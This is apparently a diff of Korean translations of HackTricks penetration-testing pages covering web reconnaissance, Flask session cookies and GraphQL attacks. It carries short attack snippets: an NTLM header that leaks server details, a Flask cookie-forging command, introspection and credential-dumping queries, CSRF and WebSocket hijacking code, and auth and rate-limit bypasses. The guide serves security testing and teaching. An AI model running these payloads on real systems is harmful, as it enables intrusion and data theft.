- **API 키**: **API 키**를 찾으면 다양한 플랫폼의 API 키 사용 방법을 안내하는 가이드가 있습니다: [**keyhacks**](https://github.com/streaak/keyhacks)**,** [**zile**](https://github.com/xyele/zile.git)**,** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**,** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**,** [**RegHex**](<https://github.com/l4yton/RegHex)/>)**,** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**,** [**EarlyBird**](https://github.com/americanexpress/earlybird)
- Google API 키: **AIza**SyA-qLheq6xjDiEIRisP_ujUseYLQCHUjik와 같은 API 키를 찾으면 [**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner) 프로젝트를 사용하여 키가 접근할 수 있는 API를 확인할 수 있습니다.
- **S3 버킷**: 스파이더링 중에 **서브도메인**이나 **링크**가 **S3 버킷**과 관련이 있는지 확인하십시오. 그런 경우 [**버킷의 **권한**을 **확인**하십시오](buckets/).
- **S3 버킷**: 스파이더링 중에 **서브도메인**이나 **링크**가 **S3 버킷**과 관련이 있는지 확인하십시오. 그런 경우 [**버킷의 권한을 확인하십시오**](buckets/index.html).
### 특별 발견
**스파이더링** 및 **무차별 대입**을 수행하는 동안 **흥미로운** **것들**을 **주목해야**니다.
**스파이더링** 및 **무차별 대입**을 수행하는 동안 **흥미로운** **사항**을 **주목**해야 할 수 있습니다.
**흥미로운 파일**
- **CSS** 파일 내의 다른 파일에 대한 **링크**를 찾습니다.
- [**.git**_ 파일을 찾으면 일부 정보를 추출할 수 있습니다](git.md)
- **.env**를 찾으면 API 키, DB 비밀번호 및 기타 정보를 찾을 수 있습니다.
- **API 엔드포인트**를 찾으면 [테스트해야 합니다](web-api-pentesting.md). 이들은 파일은 아니지만 아마도 "파일처럼 보일" 것입니다.
- **JS 파일**: 스파이더링 섹션에서 JS 파일에서 경로를 추출할 수 있는 여러 도구가 언급되었습니다. 또한 발견된 각 JS 파일을 **모니터링하는 것이 흥미로울 것입니다**. 경우에 따라 변경 사항이 코드에 잠재적인 취약점이 도입되었음을 나타낼 수 있습니다. 예를 들어 [**JSMon**](https://github.com/robre/jsmon)**을 사용할 수 있습니다.**
- **API 엔드포인트**를 찾으면 [테스트해야 합니다](web-api-pentesting.md). 이들은 파일은 아니지만 아마도 "파일처럼" 보일 것입니다.
- **JS 파일**: 스파이더링 섹션에서 JS 파일에서 경로를 추출할 수 있는 여러 도구가 언급되었습니다. 또한 발견된 각 JS 파일을 **모니터링**하는 것도 흥미로울 것입니다. 경우에 따라 변경 사항이 코드에 잠재적인 취약점이 도입되었음을 나타낼 수 있습니다. 예를 들어 [**JSMon**](https://github.com/robre/jsmon)**을 사용할 수 있습니다.**
- 발견된 JS 파일을 [**RetireJS**](https://github.com/retirejs/retire.js/) 또는 [**JSHole**](https://github.com/callforpapers-source/jshole)로 확인하여 취약한지 확인해야 합니다.
- **Javascript Deobfuscator 및 Unpacker:** [https://lelinhtinh.github.io/de4js/](https://lelinhtinh.github.io/de4js/), [https://www.dcode.fr/javascript-unobfuscator](https://www.dcode.fr/javascript-unobfuscator)
- **Javascript Beautifier:** [http://jsbeautifier.org/](https://beautifier.io), [http://jsnice.org/](http://jsnice.org)
- **JsFuck 디오브퍼케이션** (문자와 함께 자바스크립트: "\[]!+" [https://enkhee-osiris.github.io/Decoder-JSFuck/](https://enkhee-osiris.github.io/Decoder-JSFuck/))
- **JsFuck 디오브퍼케이션** (문자와 함께 자바스크립트: "\[]!+" [https://enkhee-osiris.github.io/Decoder-JSFuck/](https://enkhee-osiris.github.io/Decoder-JSFuck/))
- [**TrainFuck**](https://github.com/taco-c/trainfuck)**:** `+72.+29.+7..+3.-67.-12.+55.+24.+3.-6.-8.-67.-23.`
- 여러 경우에 **사용된 정규 표현식**을 **이해해야** 할 필요가 있습니다. 이는 유용할 것입니다: [https://regex101.com/](https://regex101.com) 또는 [https://pythonium.net/regex](https://pythonium.net/regex)
- **양식이 감지된 파일을 모니터링**해야 하며, 매개변수의 변경이나 새로운 양식의 출현은 잠재적인 새로운 취약한 기능을 나타낼 수 있습니다.
- 여러 경우에 **정규 표현식**을 **이해해야 할 필요가 있습니다**. 이는 유용할 것입니다: [https://regex101.com/](https://regex101.com) 또는 [https://pythonium.net/regex](https://pythonium.net/regex)
- **양식이 감지된 파일을 모니터링**해야 할 수도 있습니다. 매개변수의 변경이나 새로운 양식의 출현은 잠재적인 새로운 취약한 기능을 나타낼 수 있습니다.
**403 금지/기본 인증/401 권한 없음 (우회)**
**403 Forbidden/Basic Authentication/401 Unauthorized (우회)**
{{#ref}}
403-and-401-bypasses.md
{{#endref}}
**502 프록시 오류**
**502 Proxy Error**
어떤 페이지가 **그 코드**로 **응답**하면, 아마도 **잘못 구성된 프록시**일 것입니다. **`GET https://google.com HTTP/1.1`**와 같은 HTTP 요청을 보내면(호스트 헤더 및 기타 일반 헤더 포함), **프록시**는 _**google.com**_에 **접근**하려고 시도하며, 이로 인해 **SSRF**를 발견하게 됩니다.
어떤 페이지가 **그 코드**로 **응답**하면, 아마도 **잘못 구성된 프록시**일 것입니다. **`GET https://google.com HTTP/1.1`**와 같은 HTTP 요청을 보내면(호스트 헤더 및 기타 일반 헤더 포함), **프록시**는 _**google.com**_에 **접근**하려고 시도하며, 이로 인해 SSRF를 발견하게 됩니다.
**NTLM 인증 - 정보 공개**
인증을 요청하는 서버가 **Windows**이거나 **자격 증명**(및 **도메인 이름** 요청)을 요구하는 로그인 화면을 발견하면 **정보 공개**를 유도할 수 있습니다.\
**헤더를 전송하십시오**: `“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”` 그리고 **NTLM 인증이 작동하는 방식** 때문에 서버는 내부 정보(IIS 버전, Windows 버전...)를 "WWW-Authenticate" 헤더 내에 응답할 것입니다.\
이 작업은 **nmap 플러그인** "_http-ntlm-info.nse_"를 사용하여 **자동화**할 수 있습니다.
인증을 요청하는 서버가 **Windows**이거나 **자격 증명**(및 **도메인 이름** 요청)을 요구하는 로그인 화면을 찾으면 **정보 공개**를 유도할 수 있습니다.\
**헤더를 전송하십시오**: `“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”` 그리고 **NTLM 인증이 작동하는 방식** 때문에 서버는 "WWW-Authenticate" 헤더 내에 내부 정보(IIS 버전, Windows 버전 등...)로 응답할 것입니다.\
이 작업은 **nmap 플러그인** "_http-ntlm-info.nse_"를 사용하여 자동화할 수 있습니다.
**HTTP 리디렉션 (CTF)**
**리디렉션** 내에 **내용**을 **넣는 것이 가능합니다**. 이 내용은 **사용자에게 표시되지 않습니다**(브라우저가 리디렉션을 실행하므로) 그러나 그 안에 **숨겨진** 것이 있을 수 있습니다.
**리디렉션** 내에 **내용**을 **넣는 것이 가능합니다**. 이 내용은 **사용자에게 표시되지 않습니다**(브라우저가 리디렉션을 실행하므로) 하지만 그 안에 **숨겨진** 것이 있을 수 있습니다.
### 웹 취약점 확인

View File

@ -2,7 +2,7 @@
{{#include ../../banners/hacktricks-training.md}}
**아마도 CTF를 진행 중이라면 Flask 애플리케이션은** [**SSTI**](../../pentesting-web/ssti-server-side-template-injection/)**와 관련이 있을 것입니다.**
**아마도 CTF를 진행하고 있다면 Flask 애플리케이션은** [**SSTI**](../../pentesting-web/ssti-server-side-template-injection/index.html)**와 관련이 있을 것입니다.**
## Cookies
@ -22,7 +22,7 @@ echo "ImhlbGxvIg" | base64 -d
### **Flask-Unsign**
Flask 애플리케이션의 세션 쿠키를 가져오고, 디코드하고, 무차별 대입 공격을 하며, 비밀 키를 추측하여 제작하는 명령줄 도구입니다.
Flask 애플리케이션의 세션 쿠키를 가져오고, 디코드하고, 무차별 대입 공격을 수행하며, 비밀 키를 추측하여 제작하는 명령줄 도구입니다.
{{#ref}}
https://pypi.org/project/flask-unsign/
@ -58,9 +58,9 @@ ripsession -u 10.10.11.100 -c "{'logged_in': True, 'username': 'changeMe'}" -s p
```
### Flask 세션 쿠키에서 SQLi와 SQLmap
[**이 예제**](../../pentesting-web/sql-injection/sqlmap/index.html#eval)는 sqlmap `eval` 옵션을 사용하여 **알려진 비밀을 사용하여 flask에 대한 sqlmap 페이로드를 자동으로 서명하는** 방법을 보여줍니다.
[**이 예제**](../../pentesting-web/sql-injection/sqlmap/index.html#eval)는 sqlmap `eval` 옵션을 사용하여 **Flask에 대한 sqlmap 페이로드를 자동으로 서명**하는 방법을 보여줍니다.
## SSRF를 위한 Flask 프록시
## Flask 프록시를 통한 SSRF
[**이 글**](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies)에서는 Flask가 "@" 문자로 시작하는 요청을 허용하는 방법을 설명합니다.
```http

View File

@ -4,15 +4,15 @@
## Introduction
GraphQL은 **효율적인 대안**으로 **REST API**에 주목받고 있으며, 백엔드에서 데이터를 쿼리하는 간소화된 접근 방식을 제공합니다. REST는 데이터를 수집하기 위해 다양한 엔드포인트에 여러 요청을 필요로 하는 반면, GraphQL은 **단일 요청**을 통해 필요한 모든 정보를 가져올 수 있습니다. 이러한 간소화는 데이터 가져오기 프로세스의 복잡성을 줄여 **개발자에게 큰 이점**을 제공합니다.
GraphQL은 **효율적인 대안**으로 **강조**되며, 백엔드에서 데이터를 쿼리하는 간소화된 접근 방식을 제공합니다. REST와 달리, REST는 데이터를 수집하기 위해 다양한 엔드포인트에 여러 요청을 필요로 하는 경우가 많지만, GraphQL은 **단일 요청**을 통해 필요한 모든 정보를 가져올 수 있습니다. 이러한 간소화는 데이터 가져오기 프로세스의 복잡성을 줄여 **개발자에게 큰 이점**을 제공합니다.
## GraphQL과 보안
## GraphQL and Security
GraphQL을 포함한 새로운 기술의 출현과 함께 새로운 보안 취약점도 발생합니다. 주목할 점은 **GraphQL은 기본적으로 인증 메커니즘을 포함하지 않는다**는 것입니다. 이러한 보안 조치를 구현하는 것은 개발자의 책임입니다. 적절한 인증이 없으면 GraphQL 엔드포인트가 인증되지 않은 사용자에게 민감한 정보를 노출할 수 있어 상당한 보안 위험을 초래합니다.
GraphQL을 포함한 새로운 기술의 출현과 함께 새로운 보안 취약점도 발생합니다. 주목할 점은 **GraphQL은 기본적으로 인증 메커니즘을 포함하지 않습니다**. 이러한 보안 조치를 구현하는 것은 개발자의 책임입니다. 적절한 인증이 없으면, GraphQL 엔드포인트는 인증되지 않은 사용자에게 민감한 정보를 노출할 수 있어 상당한 보안 위험을 초래합니다.
### 디렉토리 브루트 포스 공격과 GraphQL
### Directory Brute Force Attacks and GraphQL
노출된 GraphQL 인스턴스를 식별하기 위해 디렉토리 브루트 포스 공격에 특정 경로를 포함하는 것이 권장됩니다. 이러한 경로는 다음과 같습니다:
노출된 GraphQL 인스턴스를 식별하기 위해, 디렉토리 브루트 포스 공격에 특정 경로를 포함하는 것이 권장됩니다. 이러한 경로는 다음과 같습니다:
- `/graphql`
- `/graphiql`
@ -25,13 +25,13 @@ GraphQL을 포함한 새로운 기술의 출현과 함께 새로운 보안 취
열려 있는 GraphQL 인스턴스를 식별하면 지원되는 쿼리를 검토할 수 있습니다. 이는 엔드포인트를 통해 접근 가능한 데이터를 이해하는 데 중요합니다. GraphQL의 introspection 시스템은 스키마가 지원하는 쿼리를 자세히 설명하여 이를 용이하게 합니다. 이에 대한 자세한 내용은 GraphQL 문서의 introspection을 참조하십시오: [**GraphQL: A query language for APIs.**](https://graphql.org/learn/introspection/)
### 지문 인식
### Fingerprint
도구 [**graphw00f**](https://github.com/dolevf/graphw00f)는 서버에서 사용되는 GraphQL 엔진을 감지하고 보안 감사자를 위한 유용한 정보를 출력할 수 있습니다.
#### 유니버설 쿼리 <a href="#universal-queries" id="universal-queries"></a>
#### Universal queries <a href="#universal-queries" id="universal-queries"></a>
URL이 GraphQL 서비스인지 확인하기 위해 **유니버설 쿼리**인 `query{__typename}`을 보낼 수 있습니다. 응답에 `{"data": {"__typename": "Query"}}`가 포함되면 해당 URL이 GraphQL 엔드포인트를 호스팅하고 있음을 확인할 수 있습니다. 이 방법은 쿼리된 객체의 유형을 나타내는 GraphQL의 `__typename` 필드에 의존합니다.
URL이 GraphQL 서비스인지 확인하기 위해, **유니버설 쿼리**인 `query{__typename}`을 보낼 수 있습니다. 응답에 `{"data": {"__typename": "Query"}}`가 포함되면, 해당 URL이 GraphQL 엔드포인트를 호스팅하고 있음을 확인할 수 있습니다. 이 방법은 쿼리된 객체의 유형을 나타내는 GraphQL의 `__typename` 필드에 의존합니다.
```javascript
query{__typename}
```
@ -51,7 +51,7 @@ query={__schema{types{name,fields{name}}}}
```bash
query={__schema{types{name,fields{name,args{name,description,type{name,kind,ofType{name, kind}}}}}}}
```
이 쿼리를 사용하면 모든 유형, 해당 필드 및 인수(및 인수의 유형)를 추출할 수 있습니다. 이는 데이터베이스를 쿼리하는 방법을 아는 데 매우 유용할 것입니다.
이 쿼리를 사용하면 모든 타입, 필드 및 인수(인수의 타입)를 추출할 수 있습니다. 이는 데이터베이스를 쿼리하는 방법을 아는 데 매우 유용할 것입니다.
![](<../../images/image (950).png>)
@ -162,7 +162,7 @@ name
```
/?query=fragment%20FullType%20on%20Type%20{+%20%20kind+%20%20name+%20%20description+%20%20fields%20{+%20%20%20%20name+%20%20%20%20description+%20%20%20%20args%20{+%20%20%20%20%20%20...InputValue+%20%20%20%20}+%20%20%20%20type%20{+%20%20%20%20%20%20...TypeRef+%20%20%20%20}+%20%20}+%20%20inputFields%20{+%20%20%20%20...InputValue+%20%20}+%20%20interfaces%20{+%20%20%20%20...TypeRef+%20%20}+%20%20enumValues%20{+%20%20%20%20name+%20%20%20%20description+%20%20}+%20%20possibleTypes%20{+%20%20%20%20...TypeRef+%20%20}+}++fragment%20InputValue%20on%20InputValue%20{+%20%20name+%20%20description+%20%20type%20{+%20%20%20%20...TypeRef+%20%20}+%20%20defaultValue+}++fragment%20TypeRef%20on%20Type%20{+%20%20kind+%20%20name+%20%20ofType%20{+%20%20%20%20kind+%20%20%20%20name+%20%20%20%20ofType%20{+%20%20%20%20%20%20kind+%20%20%20%20%20%20name+%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20}+%20%20%20%20}+%20%20}+}++query%20IntrospectionQuery%20{+%20%20schema%20{+%20%20%20%20queryType%20{+%20%20%20%20%20%20name+%20%20%20%20}+%20%20%20%20mutationType%20{+%20%20%20%20%20%20name+%20%20%20%20}+%20%20%20%20types%20{+%20%20%20%20%20%20...FullType+%20%20%20%20}+%20%20%20%20directives%20{+%20%20%20%20%20%20name+%20%20%20%20%20%20description+%20%20%20%20%20%20locations+%20%20%20%20%20%20args%20{+%20%20%20%20%20%20%20%20...InputValue+%20%20%20%20%20%20}+%20%20%20%20}+%20%20}+}
```
마지막 코드 줄은 graphql 쿼리로, graphql의 모든 메타 정보를 덤프합니다 (객체 이름, 매개변수, 유형...)
마지막 코드 줄은 graphql 쿼리로, graphql의 모든 메타 정보를 덤프합니다 (객체 이름, 매개변수, 유형...)
![](<../../images/image (363).png>)
@ -172,11 +172,11 @@ name
이제 데이터베이스에 어떤 종류의 정보가 저장되어 있는지 알았으니, **값을 추출해 보겠습니다**.
인트로스펙션에서 **직접 쿼리할 수 있는 객체**를 찾을 수 있습니다 (객체가 존재한다고 해서 쿼리할 수 있는 것은 아닙니다). 다음 이미지에서 "_queryType_"은 "_Query_"라고 불리며, "_Query_" 객체의 필드 중 하나는 "_flags_"로, 이것도 객체 유형입니다. 따라서 플래그 객체를 쿼리할 수 있습니다.
인트로스펙션에서 **직접 쿼리할 수 있는 객체**를 찾을 수 있습니다 (객체가 존재한다고 해서 쿼리할 수 있는 것은 아닙니다). 다음 이미지에서 "_queryType_"이 "_Query_"라고 불리며, "_Query_" 객체의 필드 중 하나가 "_flags_"라는 것을 볼 수 있습니다. 이 또한 객체의 유형입니다. 따라서 플래그 객체를 쿼리할 수 있습니다.
![](<../../images/Screenshot from 2021-03-13 18-17-48.png>)
쿼리 "_flags_"의 유형이 "_Flags_"임을 주목하세요. 이 객체는 아래와 같이 정의됩니다:
쿼리 "_flags_"의 유형이 "_Flags_"임에 유의하세요. 이 객체는 아래와 같이 정의됩니다:
![](<../../images/Screenshot from 2021-03-13 18-22-57 (1).png>)
@ -184,7 +184,7 @@ name
```javascript
query={flags{name, value}}
```
다음 예제와 같이 **query할 객체**가 **string**과 같은 **원시** **타입**인 경우
다음 예제와 같이 **query할 객체**가 **primitive** **type**인 **string**인 경우
![](<../../images/image (958).png>)
@ -193,7 +193,7 @@ query={flags{name, value}}
query = { hiddenFlags }
```
다른 예에서 "_Query_" 타입 객체 안에 두 개의 객체가 있었습니다: "_user_"와 "_users_".\
이 객체들이 검색을 위해 어떤 인수도 필요하지 않다면, 원하는 데이터를 요청하기만 하면 **모든 정보를 가져올 수 있습니다**. 이 인터넷 예제에서는 저장된 사용자 이름과 비밀번호를 추출할 수 있습니다:
이 객체들이 검색을 위해 어떤 인수도 필요하지 않다면, 원하는 데이터를 **요청**하는 것만으로도 **모든 정보를 가져올 수 있습니다**. 이 인터넷 예제에서는 저장된 사용자 이름과 비밀번호를 추출할 수 있습니다:
![](<../../images/image (880).png>)
@ -215,11 +215,11 @@ query = { hiddenFlags }
![](<../../images/image (707).png>)
그리고 **열거 단계**에서 "_**dbuser**_" 객체가 "_**user**_"와 "_**password**_" 필드를 가지고 있다는 것을 발견했습니다.
그리고 **열거 단계**에서 "_**dbuser**_" 객체가 "_**user**_"와 "_**password**_"라는 필드를 가지고 있다는 것을 발견했습니다.
**쿼리 문자열 덤프 트릭 (thanks to @BinaryShadow\_)**
문자열 타입으로 검색할 수 있다면, 예를 들어: `query={theusers(description: ""){username,password}}`와 같이 **빈 문자열**을 검색하면 **모든 데이터를 덤프**합니다. (_이 예제는 튜토리얼의 예제와 관련이 없으므로, 이 예제에서는 "**description**"이라는 문자열 필드를 사용하여 "**theusers**"를 검색할 수 있다고 가정합니다_).
문자열 타입으로 검색할 수 있다면, 예를 들어: `query={theusers(description: ""){username,password}}`와 같이 **빈 문자열**을 **검색**하면 **모든 데이터****덤프**합니다. (_이 예제는 튜토리얼의 예제와 관련이 없으므로, 이 예제에서는 "**theusers**"를 "**description**"이라는 문자열 필드로 검색할 수 있다고 가정합니다_).
### 검색
@ -248,7 +248,7 @@ name
}
}
```
`subscribedMovies`의 `name`을 가져오는 방법에 유의하세요.
`name`의 `subscribedMovies`를 가져오는 방법이 표시되어 있습니다.
여러 개의 객체를 **동시에 검색할 수 있습니다**. 이 경우, 2개의 영화를 검색합니다:
```javascript
@ -281,17 +281,17 @@ name
}
}
```
### Mutations
### 변형
**변은 서버 측에서 변경을 수행하는 데 사용됩니다.**
**변은 서버 측에서 변경을 수행하는 데 사용됩니다.**
**내부 탐색**에서 **선언된** **변**을 찾을 수 있습니다. 다음 이미지에서 "_MutationType_"은 "_Mutation_"이라고 하며, "_Mutation_" 객체는 변의 이름(이 경우 "_addPerson_")을 포함합니다:
**내부 탐색**에서 **선언된** **변**을 찾을 수 있습니다. 다음 이미지에서 "_MutationType_"은 "_Mutation_"이라고 하며, "_Mutation_" 객체는 변의 이름(이 경우 "_addPerson_")을 포함합니다:
![](<../../images/Screenshot from 2021-03-13 18-26-27 (1).png>)
이 설정에서 **데이터베이스**는 **사람**과 **영화**를 포함합니다. **사람**은 **이메일**과 **이름**으로 식별되며, **영화**는 **이름**과 **평점**으로 식별됩니다. **사람**은 서로 친구가 될 수 있으며, 데이터베이스 내의 관계를 나타내는 영화를 가질 수도 있습니다.
데이터베이스 내에서 **새로운** 영화를 **생성하는**경은 다음과 같을 수 있습니다(이 예에서 변경은 `addMovie`라고 불립니다):
데이터베이스 내에서 **새로운** 영화를 **생성하는**형은 다음과 같을 수 있습니다(이 예에서 변형은 `addMovie`라고 합니다):
```javascript
mutation {
addMovie(name: "Jumanji: The Next Level", rating: "6.8/10", releaseYear: 2019) {
@ -353,7 +353,7 @@ GraphQL API를 통해 **다양한 자격 증명을 가진 많은 쿼리를 동
점점 더 많은 **graphql 엔드포인트가 introspection을 비활성화**하고 있습니다. 그러나 예상치 못한 요청이 수신될 때 graphql이 발생시키는 오류는 [**clairvoyance**](https://github.com/nikitastupin/clairvoyance)와 같은 도구가 스키마의 대부분을 재구성하는 데 충분합니다.
게다가, Burp Suite 확장 프로그램 [**GraphQuail**](https://github.com/forcesunseen/graphquail)은 **Burp를 통해 전송되는 GraphQL API 요청을 관찰하고** **각 새로운 쿼리를 통해** 내부 GraphQL **스키마를 구축**합니다. 또한 GraphiQL 및 Voyager를 위한 스키마를 노출할 수 있습니다. 이 확장 프로그램은 introspection 쿼리를 수신할 때 가짜 응답을 반환합니다. 결과적으로 GraphQuail은 API 내에서 사용할 수 있는 모든 쿼리, 인수 및 필드를 보여줍니다. 더 많은 정보는 [**여기서 확인하세요**](https://blog.forcesunseen.com/graphql-security-testing-without-a-schema).
게다가, Burp Suite 확장 프로그램 [**GraphQuail**](https://github.com/forcesunseen/graphquail)은 **Burp를 통해 GraphQL API 요청을 관찰하고** **각 새로운 쿼리와 함께** 내부 GraphQL **스키마를 구축**합니다. 또한 GraphiQL 및 Voyager를 위한 스키마를 노출할 수 있습니다. 이 확장 프로그램은 introspection 쿼리를 수신할 때 가짜 응답을 반환합니다. 결과적으로 GraphQuail은 API 내에서 사용할 수 있는 모든 쿼리, 인수 및 필드를 보여줍니다. 더 많은 정보는 [**여기서 확인하세요**](https://blog.forcesunseen.com/graphql-security-testing-without-a-schema).
멋진 **단어 목록**은 [**GraphQL 엔티티를 발견하는 데 사용할 수 있습니다**](https://github.com/Escape-Technologies/graphql-wordlist?).
@ -371,7 +371,7 @@ API에서 introspection 쿼리에 대한 제한을 우회하기 위해, `__schem
### WebSockets 시도
[**이 강연**](https://www.youtube.com/watch?v=tIo_t5uUK50)에서 언급된 바와 같이, WebSockets를 통해 graphQL에 연결할 수 있는지 확인하십시오. 이는 잠재적인 WAF를 우회하고 WebSocket 통신이 graphQL의 스키마를 출할 수 있게 할 수 있습니다.
[**이 강연**](https://www.youtube.com/watch?v=tIo_t5uUK50)에서 언급된 바와 같이, WebSockets를 통해 graphQL에 연결할 수 있는지 확인하십시오. 이는 잠재적인 WAF를 우회하고 WebSocket 통신이 graphQL의 스키마를 출할 수 있게 할 수 있습니다.
```javascript
ws = new WebSocket("wss://target/graphql", "graphql-ws")
ws.onopen = function start(event) {
@ -397,13 +397,13 @@ ws.send(JSON.stringify(graphqlMsg))
```
### **노출된 GraphQL 구조 발견하기**
내부 탐색이 비활성화된 경우, JavaScript 라이브러리에서 미리 로드된 쿼리를 찾기 위해 웹사이트의 소스 코드를 검사하는 것은 유용한 전략입니다. 이러한 쿼리는 개발자 도구의 `Sources` 탭을 사용하여 찾을 수 있으며, API의 스키마에 대한 통찰력을 제공하고 잠재적으로 **노출된 민감한 쿼리**를 드러냅니다. 개발자 도구 내에서 검색하는 명령은 다음과 같습니다:
introspection이 비활성화된 경우, JavaScript 라이브러리에서 미리 로드된 쿼리를 찾기 위해 웹사이트의 소스 코드를 검사하는 것은 유용한 전략입니다. 이러한 쿼리는 개발자 도구의 `Sources` 탭을 사용하여 찾을 수 있으며, API의 스키마에 대한 통찰력을 제공하고 잠재적으로 **노출된 민감한 쿼리**를 드러냅니다. 개발자 도구 내에서 검색하는 명령은 다음과 같습니다:
```javascript
Inspect/Sources/"Search all files"
file:* mutation
file:* query
```
## GraphQL의 CSRF
## GraphQL에서의 CSRF
CSRF가 무엇인지 모른다면 다음 페이지를 읽어보세요:
@ -421,19 +421,19 @@ GraphQL 요청은 일반적으로 **`application/json`** 콘텐츠 유형을 사
```javascript
query=%7B%0A++user+%7B%0A++++firstName%0A++++__typename%0A++%7D%0A%7D%0A
```
따라서 이전과 같은 CSRF 요청이 **사전 비행 요청 없이** 전송되기 때문에, CSRF를 악용하여 GraphQL에서 **변경**을 **수행**할 수 있습니다.
따라서, 이전과 같은 CSRF 요청이 **사전 비행 요청 없이** 전송되기 때문에, CSRF를 악용하여 GraphQL에서 **변경**을 **수행**할 수 있습니다.
그러나 Chrome의 `samesite` 플래그의 새로운 기본 쿠키 값이 `Lax`라는 점에 유의하십시오. 이는 쿠키가 GET 요청에서만 제3자 웹에서 전송된다는 것을 의미합니다.
**쿼리** **요청**을 **GET** **요청**으로 전송하는 것도 일반적으로 가능하며, GET 요청에서 CSRF 토큰이 검증되지 않을 수 있습니다.
일반적으로 **쿼리** **요청**을 **GET** **요청**으로 전송하는 것 가능하며, GET 요청에서 CSRF 토큰이 검증되지 않을 수 있다는 점에 유의하십시오.
또한, [**XS-Search**](../../pentesting-web/xs-search/) **공격**을 악용하여 사용자의 자격 증명을 이용해 GraphQL 엔드포인트에서 콘텐츠를 유출할 수 있습니다.
또한, [**XS-Search**](../../pentesting-web/xs-search/index.html) **공격**을 악용하면 사용자의 자격 증명을 이용하여 GraphQL 엔드포인트에서 콘텐츠를 유출할 수 있습니다.
자세한 내용은 [**원본 게시물 확인**](https://blog.doyensec.com/2021/05/20/graphql-csrf.html)하십시오.
## GraphQL에서의 교차 사이트 WebSocket 하이재킹
GraphQL을 악용하는 CRSF 취약점과 유사하게, **보호되지 않은 쿠키로 GraphQL 인증을 악용하기 위한 교차 사이트 WebSocket 하이재킹을 수행하고 사용자가 GraphQL에서 예상치 못한 작업을 수행하게 할 수 있습니다.**
GraphQL의 CRSF 취약점을 악용하는 것과 유사하게, **보호되지 않은 쿠키로 GraphQL 인증을 악용하기 위한 교차 사이트 WebSocket 하이재킹을 수행하고 사용자가 GraphQL에서 예상치 못한 작업을 수행하게 할 수 있습니다.**
자세한 내용은 확인하십시오:
@ -443,11 +443,11 @@ GraphQL을 악용하는 CRSF 취약점과 유사하게, **보호되지 않은
## GraphQL에서의 권한 부여
엔드포인트에 정의된 많은 GraphQL 함수는 요청자의 인증만 확인하고 권한 부여는 확인하지 않을 수 있습니다.
엔드포인트에 정의된 많은 GraphQL 기능은 요청자의 인증만 확인하고 권한 부여는 확인하지 않을 수 있습니다.
쿼리 입력 변수를 수정하면 민감한 계정 세부 정보가 [유출](https://hackerone.com/reports/792927)될 수 있습니다.
변경은 다른 계정 데이터를 수정하려고 시도할 경우 계정 탈취로 이어질 수 있습니다.
변경은 다른 계정 데이터를 수정하려고 시도할 계정 탈취로 이어질 수 있습니다.
```javascript
{
"operationName":"updateProfile",
@ -457,15 +457,15 @@ GraphQL을 악용하는 CRSF 취약점과 유사하게, **보호되지 않은
```
### GraphQL에서 인증 우회
[쿼리 연결](https://s1n1st3r.gitbook.io/theb10g/graphql-query-authentication-bypass-vuln)을 통해 약한 인증 시스템을 우회할 수 있습니다.
[쿼리 체이닝](https://s1n1st3r.gitbook.io/theb10g/graphql-query-authentication-bypass-vuln)을 통해 약한 인증 시스템을 우회할 수 있습니다.
아래 예제에서 작업은 "forgotPassword"이며, 이는 해당 쿼리만 실행해야 합니다. 그러나 쿼리를 끝에 추가하여 우회할 수 있으며, 이 경우 "register"와 시스템이 새 사용자로 등록할 수 있도록 사용자 변수를 추가합니다.
아래 예제에서 작업은 "forgotPassword"이며, 이는 해당 쿼리만 실행해야 합니다. 그러나 쿼리를 끝에 추가함으로써 우회할 수 있으며, 이 경우 "register"와 시스템이 새로운 사용자로 등록할 수 있도록 사용자 변수를 추가합니다.
<figure><img src="../../images/GraphQLAuthBypassMethod.PNG" alt=""><figcaption></figcaption></figure>
## GraphQL에서 별칭을 사용한 속도 제한 우회
GraphQL에서 별칭은 API 요청 시 **속성을 명시적으로 이름 지정**할 수 있는 강력한 기능입니다. 이 기능은 단일 요청 내에서 **동일한 유형**의 객체 여러 인스턴스를 검색하는 데 특히 유용합니다. 별칭을 사용하면 GraphQL 객체가 동일한 이름을 가진 여러 속성을 가질 수 없다는 제한을 극복할 수 있습니다.
GraphQL에서 별칭은 API 요청 시 **속성을 명시적으로 이름 지정**할 수 있는 강력한 기능입니다. 이 기능은 **단일 요청 내에서 동일한 유형**의 객체 여러 인스턴스를 검색하는 데 특히 유용합니다. 별칭을 사용하면 GraphQL 객체가 동일한 이름 여러 속성을 가질 수 없다는 제한을 극복할 수 있습니다.
GraphQL 별칭에 대한 자세한 이해를 위해 다음 리소스를 추천합니다: [Aliases](https://portswigger.net/web-security/graphql/what-is-graphql#aliases).
@ -486,22 +486,22 @@ valid
}
}
```
## GraphQL에서의 DoS
## DoS in GraphQL
### 별칭 오버로드
### Alias Overloading
